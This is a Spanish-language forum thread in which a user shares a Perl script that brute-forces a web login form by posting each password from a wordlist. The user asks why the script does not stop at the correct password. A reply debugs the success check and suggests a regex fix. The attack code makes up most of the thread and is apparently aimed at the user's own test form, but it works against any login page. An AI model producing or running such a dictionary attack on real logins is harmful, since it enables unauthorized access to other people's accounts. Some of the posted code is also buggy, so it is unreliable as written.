hola

estaba tratando de hacer un bruteforce sencillo pero no logro hacer que funcione bien, ya que busca en un diccionario las palabras pero cuando pasa la correcta no se detiene

espero me puedan ayudar porfavor

Este es el codigo perl

use LWP::UserAgent;
use HTTP::Request::Common;
 
my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];
 
unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist>");
exit 1;
}
 
if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{
 
open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;
 
print("inicio de bruteforce");
$i = 0;
 
foreach $words(@word){
chomp $words;
print "- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;
 
if($fondo =~ m/Login failed/i){
chomp $words;
print "\n\n[Usuario] $user\n";
print "[Pass] $word\n";
print "intentos $i\n";
}else{
$i++;
}
 
 
}
}
 

Y este es el codigo php con el que intento que funcione, no se si lo que hago es bueno, o habra otra forma de hacer un bruteforce mas universal

<form action="login.php" method="post">
 
	<fieldset>
 
			<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
 
			<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
 
			<p class="submit"><input type="submit" value="Login" name="Login"></p>
	</fieldset>
	</form>

salu2

hola

gracias por la respuesta, pero sigue sin funcionar jeje, hice un cambio pero no logro hacerlo funcionar bien, creo el error esta en el ultimo "if" sino entonces no se me ocurre donde mas

#!/usr/bin/perl -w
 
use LWP::UserAgent;
use HTTP::Request::Common;
 
my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];
 
unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist><submit>");
exit 1;
}
 
if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{
 
open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;
 
print("inicio de bruteforce\n");
$i = 0;
 
foreach $words(@word){
chomp $words;
print "\n- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;
 
if($fondo ne "Login failed"){
chomp $words;
print "[Usuario] $user\n";
print "[Pass] $words\n";
print "intentos $i\n";
}else{
$i++;
last;
}
}
}

supuestamente se deberia detener en el tercero 'password' pero continua

¡Ah!, quizás el problema sea

if($fondo ne "Login failed"){


Es casi seguro que $fondo contengo algo más que "Login failed".

Quizás con una expresión regular...

if ($fondo !~  /Login failed/) {

Otro detalle: mueve el $i++ a la primera parte del if(), no al else{}.